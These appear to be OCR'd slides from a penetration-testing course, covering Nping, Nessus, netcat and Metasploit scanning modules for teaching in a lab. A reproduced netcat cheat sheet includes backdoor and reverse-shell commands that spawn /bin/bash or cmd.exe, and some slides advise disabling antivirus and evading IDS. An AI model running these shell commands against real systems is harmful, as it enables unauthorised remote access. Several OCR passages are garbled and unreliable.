



Metasploit

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Packet Construction Tools

<u>http://securitytools.wikidot.com/packet-construction</u>

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	Securitytools	
	NETHEROLOGIES MICH.017-DEDILITY TWANNI TEONICA-PURLIMENS CONTACT	
• YOP	PACKET CONSTRUCTION	
 Puzzing 		
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• Tecece+		
 Intelligence-Gathering 		
 Defensive-Programming Scanning-Detection 		
Central	AUGMEND	
 Stepanography 		
 Peactration-valuerability- 105-125 	http://packetatormecurity.n/UMD/vBitkin/sicmpsond.tar.pr	
 Roofida 	ADDRESEND IS AN IONE PROOF SENDER PEATURING IMPLEMENTATION OF ALL IONE FLAGS AND CODES, SECOFING, AND FLOODING.	
 General-Forensic 		
 Mobile-RDA-Foreneic- Toole 	COLASOFT PACKET BUILDER	
 Heregol UBRes 		
 Honeypot-Projecta 	http://www.colaudt.com/packat_builder/	
 Cracking 	COLARGET INVOLT BUILDER BRABUS CRIATING CONTON METWORK PROVETS: UNRER CAN UNE THIS TOOL TO CHECK THEIR RETIRDER PROTECTION ADAMNET	
Claco Specific Linux-Haddino-Kita	ATTACKS AND INTRUDERS.	
 Encentationg-KEs Benaders Confidential- 	COLASOFT INVOIDT BUILDER INCLUDES A VERY POWERFUL EDITING FEATURE. BESIDES COMMON HEX EDITING RAW DATA, IT FEATURES A DECODING EDITOR	
Systems	ALLOWING LISTS TO DDTL'S RECIPC PROTOCOL FIELD WALKS MICH DASHS.	

IPv6 Scanning

- IPv6 fingerprinting
- Nmap has a similar but separate OS detection engine specialized for IPv6
 - Use the -6 and –O options

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IPv6 Scanning

- https://nmap.org/book/nping-man-ip6options.html
- Options.ntml
 From the site
 Nping is an open-source tool for network packet generation, response analysis and response time measurement. Nping allows users to generate network packets of a wide range of protocols, letting them tune virtually any field of the protocol headers. While Nping can be used as a simple ping utility to detect active hosts, it can also be used as a raw packet generator for network stack stress tests, ARP poisoning, Denial of Service attacks, route tracing, and other purposes.

Pv6 Options	
(are (Use IP+6)	
Tells Neinz to use IP version 6 instead of the default IPv4. It is generally a good idea to specify this option as early as possible in the command line so Noing can parse it soon and know in advance	
Fein Synta, to loe it version o uncessio of use events it ves, it is generity a good one or specify into option at early in postione in communities or spin option on some in a syntax in the rest of the parmeters refer to 1987. The community approximate is usual except they have also add they or option. Of course, you must use IPv6 syntax if you specify an address rather than a hostname. An address might look like 3476-1501.4019:1000.210:15976-fe6911446, so hostnames are recommended.	
While IPv6 hasn't ensody token the weeld by stem, it gets significant noe in some (usually Asian) countries and most modern operating systems support it. To use Nying with IPv6, both the sourc and traget of your packets must be configured for IPvc II your SP (like most of them) does not allocate IPv6 addresses to you, feet tunnel bedeers ne widely available and week fare with Nying. You can use the fact Pv6 funct bedeer service at Inp//www.tunnel/bedeer.att.	14 A
Please note that IPv6 support is still highly experimental and many modes and options may not work with it.	
estáry,source-ip -estáry (Samon IP Addres)	
Sets the source IP address. This option lets you specify a custom IP address to be used as source IP address in sent packets. This allows spoefing the sender of the packets. codes can be an IPv6 address or a hostname.	
test-1p code/s (Destination IP Address)	
Adds a target to Nping's target list. This option is provided for consistency but its use is deprecated in favor of plain target specifications. See the section called "Target Specification".	
Taux <tabel> (Flow Label)</tabel>	
Sets the IPv6 Flow Label. The Flow Label field is 20 bits long and is intended to provide certain quality-of-service properties for real-time datagram delivery. However, it has not been widely adopted, and not all routers or endpoints support it. Check RFC 2460 for more information. <1.50×1.5 must be an integer in the range [0–1048575].	
reaff(c-class cclass) (Tmffic Class)	
Sets the IPv6 Traffic Class. This field is similar to the TOS field in IPv4, and is intended to provide the Differentiated Services method, enabling scalable service discrimination in the Internet without the need for per-flow state and signaling at every lop. Check RFC 2474 for more information. <ccsss [0-255].<="" an="" be="" in="" integer="" range="" td="" the="" unst=""><td></td></ccsss>	
op-limit «bopa» (Hop Limit)	
Sets the IPv6 Hop Limit field in sent packets to the given value. The Hop Limit field specifies how long the draggram is allowed to exist on the network. It represents the number of hops a packet can traver be brieg dropped. As with the TTL in IPv4, IPv6 Hop Limit first to avoid a situation in which undeliverable draggams keep being forwarded from one roster to mother endlewshy drogsor mut be a number in the range (3-25).	n.

Now What

Consider picking up "Red Team Field Manual"

 https://www.amazon.com/Rtfm-Red-Team-Field Manual/dp/1494295504/ref=sr 1_1?ie=UTF8

&qid=1538587040&sr=8-1&keywords=red+team+field+manual+2018

Reference guide of terminal commands for

- various systems and applications.
- Embed in batch files and execute

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RTFM Coverage Areas

■ *NIX

- Windows
- Networking
- Tips and Tricks
- Tool Syntax
- Web
- Databases
- Programming
- Wireless



Getting Nessus

Download from Tenable Security

- <u>http://www.tenable.com/products/nessus/selectyour-operating-system</u>
- Before installing, go to registration page and get the activation code

<u>http://www.tenable.com/products/nessus-home</u>

- Run the package and follow the prompts
- Install will also install PCAP and then take you to the registration page.
- Enter activation code and follow the prompts to get updates and plugins

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Documentation

Documentation for Nessus is available here:

- <u>http://static.tenable.com/documentation/nessus_4</u>, <u>2_user_guide.pdf</u>
- You will also get a link to this location during the install.

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AV and Firewalls

You will need to turn off Anti-Virus and Firewall in order to get an effective scan or you will see this:



- Before you do this, disconnect from any and all networks.
- You will likely still get some blocking as AV doesn't like to give up.

Getting Started

- You should end up looking at web page hosted from your machine.
- Book mark the page to save time getting back
- URL will look like this:
 - https://localhost:8834/html5.html

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Policies 3
Basic Scan / Step 3 of 3
Provide credentials to detect missing patches and client-side vulnerabilities (optional):
Authentication method Windows
Windows Nerous can enumerate Windows settings, detect insecure configurations, and identity missing Microsoft or thrid-party updates. Please provide the credentials for a user account that has local administrative privileges on the targets being scarned.
Username
Password
Domain
MIS 5211.701 18



There are many more options

Define your po	olicy name, description, and post	-scan editing preferences:	
	Policy Name	Basic Scan	
	Visibility	private •	
	Description	First Scan	
	Allow Post-Scan Report Editing	Z	
Next Cancel			

Scans			
Scans	New Scan / Basic	Sattinas	
Basic Settings			
Schedule Settings	Name	My First Scan	
Email Settings	Description	My First Scan	
	Policy	Basic Scan 👻	
	Folder	My Scans 👻	
	Targets	192.168.220.130	^





Scan Status

Once your scan has started you will see a status field like this:

Scans / My Scans				
Name		Last Modified 🔺	Status	
 First Scan 		00:29 AM	C Running	

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Clicking on scan gives details

irst Scan		toport *	Audit Trail	Q, FiterVoleesbilties
fosts > 192.1	66.220.130 > Vulnerabilities 📷			Hide Detail
Severity .	Plagin Name	Plugin Family	Count	∧ Host Details 8
CUITCAL	Apache Tomcat Managar Common Administrative Credentials	Web Servers	1	IP: 192.168.220.130 DNS: metasoloitable
CRITICAL	Bash Remote Code Decution (Chelishook)	Gain a shell remotely	1	MAC: 00.0029/03/7629 OS: Linux Kernel 2,624-16-server on
CRITICAL	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness	Gain a shell remotely	1	Ubuntu 8.04 Start time: Wed Oct 01 00:29:53 2014
CUITCAL	Remote host has weak Debian OpenSSH Keys in ~/.ssh/authorized_keys	Gain a shell remotely	1	End time: Wed Oct 01 00:37:59 2014 KR Download
CRITICAL	Rogue Shell Backdoor Detection	Backdoors	1	
CRITICAL	Samba NDR MS-RPC Request Heep-Based Remote Buffer Overflow	Misc.	1	∧ Valnerabilities
CERTICAL	Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : grouth 12, grouth 13 vulnerabilities (USN-61	Ubuntu Local Security Checks	1	
CRITICAL	Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : liborni2 vulnerabilities (USN-644-1)	Ubuntu Local Security Checks	1	High Const
GRIEGE	Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10: Ilbomi2 vulnerabilities (USN-673-1)	Ubuntu Local Security Checks	1	
CRITICAL	Uburtu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : dhtp3 vulnerability (USN-803-1)	Ubuntu Local Security Checks	1	





Criticality

- Note on criticality
- The "Critical" risk factor is without any mitigating controls being taken in to account
- Vulnerabilities need to be evaluated in context

Severity:	Critical	
ID:	34970	
Version:	\$Revision: 1.29 \$	
Type:	remote	
Family:	Web Servers	
Published:	2008/11/26	
Modified:	2014/02/04	
 Risk Infe 	ormation	

Risk Factor: Critical
CVSS Base Score: 10.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:
CVSS Temporal Vector: CVSS2#E:F/RL:OF/RC:C
CVSS Temporal Score: 8.3

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More on Results

These results were obtained, even though Anti-Virus continued blocking multiple techniques.

• Consider setting up a scanning machine without any AV or Host Firewall.

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Organizing Scans

- In short order you will gather a large collection of scans
- Use the built in folder system to move scans off of the main page



Don't Forget the Info

INFO	Telnet Server Detection	Service detection	1
INFO	TFTP Daemon Detection	Service detection	1
INFO	Time of Last System Startup	General	1
INFO	Traceroute Information	General	1
INFO	VMware Virtual Machine Detection	General	1
INFO	VNC Server Security Type Detection	Service detection	1
INFO	VNC Server Unencrypted Communication Detection	Service detection	1
INFO	VNC Software Detection	Service detection	1
INFO	vsftpd Detection	FTP	1
INFO	Web Server / Application favicon.ico Vendor Fingerprinting	Web Servers	1
INFO	Web Server Unconfigured - Default Install Page Present	Web Servers	1
INFO	WebDAV Detection	Web Servers	1
INFO	Windows NetBIOS / SMB Remote Host Information Disclosure	Windows	1
	NII5 5211.701		

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Info Vulnerabilities

- The least significant vulnerabilities are classified as "Info" or informational.
- These are often very useful in understanding details of the asset being scanned.



Netcat

- Netcat is a utility used by Penetration Tester and Hackers to establish network connections over UDP or TCP.
- Takes "Standard In", and sends it across the
- Receives network data and puts it on "Standard Out"
- Messages from netcat itself go on "Standard

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A Word About stdin, stdout, and stderror • These are terms from programming that refer

Text terminal Keyboard

Display

(]) stdin

Program 2 stdout

🕉 std

- As an examplestdin would be the keyboard
- Stdout would be the screen
- Stderror may be dropped or sent to logging



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Netcat in Linux and Windows

- In Linux netcat is typically installed and can be activate simply by typing "nc" at the command
- In Windows, the file is not installed
 - http://nmap.org/n
 - Once downloaded and extracted type "ncat" at the command line to get started
 - Note AV will likely automatically remove it



Netcat Structure

- Basic format is
 - Send
 - \$nc [Target IP] [Remote Port]
 - Receive
 - \$nc [flag(s)] [Local Port]
 - Assumes TCP unless –u flag is set forcing to UDP
- Link to SANS Cheat Sheet
 - URL: <u>http://www.sans.org/security-</u> resources/sec560/netcat_cheat_sheet_v1.pdf



SANS NC Cheat Sheet File Transfer TCP Ban Auch a file from client to Estener: no -1 -p [LocalPort] > [outfile] Grab the harmer of any TCP service ranvin Address from Linux: § echo ** | no -v -n -w1 [Target [start_port]-(end_port] backpipe: 5 od /tmp 5 mknod backpipe p Listen on (LocalFort), store results in [outfile Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address (rangestIradde] unning verbossly (~), not resolving names (~n), and vesting no more than if a second for a connection to occur (~vi). Then set basis during to the open port and print out any benner recover of in response % nc -w3 [TargetIFaddr] (port) < (infile)</pre> *litererio-Chert Roby:* S nc -l -p [LocalFort] 0-Chackpipe | nc [TargetIFaddr] [port] | tee backpipe Push [infile] to [PargetIPaddr] 00 [port] Create a relay that sends peckets from the local port [LocalFort] to a Netcat clent connected to [TargetIFaddr] on port [port] Pul file from detener back to chent: © no -1 -p [LocalPort] < [infile] % s p incontrol < infile] Uster on (nocalrect), prep to push [infile] % no -w3 (TargetIFaddir) (port) > (outfile) Add -r to randomize destination ports within the lishnar-to-lishnar-Anhy: \$ no -1 -p [LocalFort 1] 0<backpipe | no -1 -p [LocalFort_2] | tee backpipe Add -p [port] to specify a source port for the Connect to [margetIPaddr] on [port] and retrieve [outfile] Create a relay that sends packets from any connection on [LocalPort_1] to any connection on [LocalPort_2] Backdoor Shells TCP Port Scanner Istering backdor shel or linu: 5 nc -1 -p [LocalFort] -e /bin/bash Istering backdor shel or Window: C:\> nc -1 -p [LocalFort] -e cmd.exe Chertdo-Chritedor; 3 not [PreviousHop/Paddt] [port] 4 detackspipe | not [NextHop/Paddt] [port2] | tee backspipe Contes relys that ands packeds from the connection to [reveriousHop/Paddt] (no [port] to A bleck chiert connected to [NextHop/Paddt] on port [port2] Aviscan an IP Address: 5 nc -v -n -z -wi [TargetIPaddr] [start_port]-[end_port] Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client Reserve hackday shell on (inn; 5 nc [YourIPadds] [port] -s /bin/bash Reserve hackday shell on Windows; C:\> nc [YourIPadds] [port] -s cmd.uxe Create a reverse shell that will attempt to connect to (rowr.tradur.) on local port (port). This shell can then be captured using a fundamental nc listene The randomize ports (-r) switch can be used to choose port numbers randomly in the range

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Pipes

- So, netcat can send what I type to another
- The pipe commands " | ", ">", and "<" let you do more interesting things
- For example, transfer a file between systems

 - Listen on local port and store result in file
 - \$nc -w3 [TargetIP] [Port] < [In File]
 Push file to target IP on port
- See SANS Cheat Sheet on previous page for more examples

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Port Scanning

- You can even use netcat as a simple port scanner
- Example
 - \$nc -v -n -z -w1 [Target IP] [Starting Port] -[Ending Port]
 - Systematically attempts to connect on each port within the defined range
 Note:

 v Verbose

 - -n Do not resolve names
 -z Do not send data
 -w1 Wait no more then one second to connect



Metasploit

 Metasploit is a penetration testing framework that integrates other tools we have seen with exploitation tools

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Penetration Testing Execution Standard

- Developers of Metasploit used the Penetration Testing Execution Standard (PTES) as their guide in developing the tool
- <u>http://www.pentest-</u> <u>standard.org/index.php/Main_Page</u>
- Contains a great deal of information and worth looking over

Process

Similar to what we covered earlier, Metasploit and PTES breaks activities down in to some basic a Theorem and the second matter of the basic categories
Pre-Engagement (Getting Permission)
Intelligence Gathering (Recon)
Threat Modeling (Using Intel to determine vulnerabilities)
Note: This is different then Threat Modeling in IT Security Space

- Vulnerability Analysis
- Post Exploitation (Clean up after yourself) Reporting

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Types of Penetration Tests

- Overt Penetration Testing
 Another term for "Crystal Box" testing
 Working with target staff and with access to target documentation to fine tune testing
 Quicker, but information may steer you away from things

 - Covert Penetration Testing
 Another term for "Black Box" testing
 You have the same opportunity to gather information as a real attacker
 Time consuming and expensive, but you may find "nuggets" not obvious from the documentation if you had it

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Vulnerability Scanners

- We looked at these earlier
- Remember Nmap and Nessus
- Metasploit can interface with these tools (and others) to use their output as an input to it's

A few words about Metasploit

- Metasploit is included on Kali in several forms
- There is a Web Based interface that requires activation as well as the terminal version built in.
- Both forms are <u>slow</u> to launch. Your machine isn't frozen, it just takes a while. There's a lot going on and we'll cover that as we go.
- We will focus on the terminal version known as Metasploit Framework

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Terminology

- Exploit Means by which an attacker takes advantage of a flaw
- Payload Code we want a system to execute
- Shellcode Set of instructions used as a payload when exploitation occurs
- Module Piece of software used by the Metasploit Framework
- Listener Component within Metasploit that waits for an incoming connection

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Metasploit Interfaces

- MSFconsole The way we will normally interact with Metasploit
- Started by typing: msfconsole at terminal prompt
- Note: You may need to provide path



Metasploit Interfaces

- MSFcli Bypasses msfconsole menu process and allows direct selection of attack
 Started by typing msfcli at terminal prompt
- respective respec

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Metasploit Utilities

- MSFpayload Generates shellcode, executables, and more
- MSFencode Encodes shellcode to eliminate problem characters and obfuscate code to evade IDS and IPS systems
- Nasm Shell Utility that provides assembly language help during scripting

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Metasploit Express and Pro

• Commercial versions of the Metasploit tool

We will stick with the community version in this class

Note: We ran through a lot of information and terms. We will cover details as the course continues.

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Once More

 <u>One more time</u> – The techniques covered in this class can damage your systems and the target systems. Make sure you use a test environment.

		craft		
- Wob ba	sed tool for fin	ding IDo		
	seu 1001 101 111	unig ii s		
	archdns.netcra	ft com		
OKL: Se	archuns.nettra	ant.com		
Search Web by Domai	n			
Explore 1,655,211 web sites visited by user	rs of the Netrodi Toolbar			14th Janua
	Search	search	ter	
	site contains 0 google.	on Lookup		
	site contains 0 google.			
Results for google com	site contains 0 google.c	on Lookup		
Results for google.com	site contains 0 google.c	on Lookup		
Results for google.com	site contains 5 pool de ecompte ute	on Lookup	4	05
First 500 sites returned	site contains 0 google.c	om Lookup contex setend.con		05
First 500 sites returned Site	ste contains 2) poolde a completion	om tookup contaar antondhoon Firrst seen	Netblock	
Pirst 500 sites returned Site	site contains 2 poople a eccepte the Site Report	om lookup contair antroficeos First socea arreadra (199	i Netblock poch so.	lana
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Active Information Gathering

- Port Scanning with Nmap
- We covered this earlier
- One new twist, we want to utilize the –oX option to have nmap save it's output in xml

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Metasploit and it's Database

- Metasploit has a built in database to support collecting data during a penetration test
- Uses PostgresSQL
- You can check status when MSFconsole is running by typing: db_status at the msf> prompt in Metasploit
 - Should respond with "postgress connected to msf3 (or something close to this)

Note: Before Kali 2.0, there were issues getting the database to work. Make sure you are on 2.0 or >

Database and Nmap

- Run Nmap with a command something like: nmap -Pn -sS -A -oX Subnet1.xml 192.168.1.0/24
- This will sweep the subnet and leave the results in a xml file ready for import
- □ This may take a while, may want to narrow focus to a shorter list

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Importing to Metasploit

- At Metasploit prompt
 - Db_import Subnet1.xml Hosts -c address
- This will import the active hosts to Metasploit

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Nmap from Metasploit

- Msf > db_nmap -sS -A [Target Address]



Built In Port Scanners

- Run command:
 - Msf> use auxiliary/scanner/portscan/syn
 - Msf auxiliary(syn) > set RHOSTS [Target IP]
 - Msf auxiliary(syn) > set THREADS 50



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More Scanning Options

- Server Message Blocks
- Use auxiliary/scanner/smb/smb_version
- MSSQL
- Use auxiliary/scanner/mssql/mssql_ping
- SSH
- Use auxiliary/scanner/ssh/ssh_version
- FTP
 - Use auxiliary/scanner/ftp/anonymous
- SNMP
 - Use auxiliary/scanner/snmp/snmp_login

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Writing a Custom Scanner

- You can write your own
- Uses Ruby
- Example on following page



Vulnerability Scanning

- Rapid 7 (Owner of commercial instance of Metasploit) makes a "community" version of their scanner available.
- Called NeXpose
- Not included in Kali
- Available at:
 - <u>http://www.rapid7.com/products/nexpose/comp</u> re-downloads.jsp
 - NOT REQUIRED FOR THIS CLASS

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NeXpose

 Similar to stand alone Nmap, NeXpose output can be saved as xml and imported into Metasploit via the db_import command

Example

Msf> db_import /tmp/hosts.xml





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Other Scanning Options

Open VNC Authentication

- Msf> use auxiliary/scanner/vnc/vnc_none_auth
- Open X11 Servers

Msf> use auxiliary/scanner/x11/open_x11







DOS Batch Scripting

First off, almost everything I present here started at:

<u>http://blog.commandlinekungfu.com/</u>

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F	inding	Other	Machine	S
🗉 Try	"arp –a"			
	C:\Users\Wade>arp -a Interface: 192.168.1. Internet Address 192.168.1.18 192.168.1.182 192.168.1.182 192.168.1.182 224.6.0.2 224.6.0.2 224.6.0.2 224.6.0.22 239.255.255.258 253.255.255.259	118 0:x8 Physical Address 00-12-17-8a-bf-5a 00-21-2-07-97-0 67-78-07-07-0 67-78-07-07-0 01-001-5a-00-00-02-16 01-001-5a-00-00-16 01-001-5a-00-00-fc 01-001-5a-07-00-fc 01-001-5a-07-07-ff-fa	Type dynanic dynanic dynanic of nalic static static static static static static static	
	Interface: 192.168.18 Internet Address 192.168.182.255 224.9.0.2 224.9.0.22 239.255.255.250 Interface: 192.168.40	Physical Address ff-ff-ff-ff-ff-ff-ff 01-00-5c-00-00-02 01-00-5c-00-00-02 01-00-5c-00-00-16 01-00-5c-00-00-fc 01-00-5c-7f-ff-fa	Type static static static static static static	
	Internet Address 192.168.40.255 224.8.0.22 224.8.0.22 224.8.0.252 239.255.255.250 C:\Users\Wade>	Physical Address ff-ff-ff-ff-ff-ff- 01-09-56-091-00-02 01-80-56-081-00-02 01-80-56-081-00-62 01-80-56-081-00-fc 01-00-56-091-00-fc	Type static static static static static static	
		MIS 5211.701		





Details on a Service

Try "sc qc [service_name]



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Start/Stop Services

- Try "sc start [service_name]" or "sc stop [service_name]
- Remember, you can use "sc query state= all" to find the service names
- If you have access to a similar machine, you could also look at the GUI



FOR /L -> Counter

- FOR /L %i in ([Start],[Step],[Stop]) do [command]
 Translates to

i 2:Vileera/Madebecho 2 2:Vileera/Madebecho 3 2:Vileera/Madebecho 4 2:Vileera/Madebecho 5	C:\Users\Wade>FOR /L xi in <1,1,5> do echo xi	
2 Cr-MiserexNadeSecho 3 Gr-MiserexNadeSecho 4 Cr-MiserexNadeSecho 5	C:\Users\Wade>echo 1 1	
0 G::Visers:Viade>echo 4 C:Visers:Viade>echo 5 S	C:\Users\Wade>echo 2 2	
4 C::Visers/WadeJecho 5 S	C:\Users\Wade>echo 3 3	
5	C:\Users\Wade>echo 4 1	
	C:\Users\Wade>echo 5 5	
GENUsers Made>	C:\Users\Wade>	

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Reference

Lots more at:
 <u>http://blog.commandlinekungfu.com/</u>

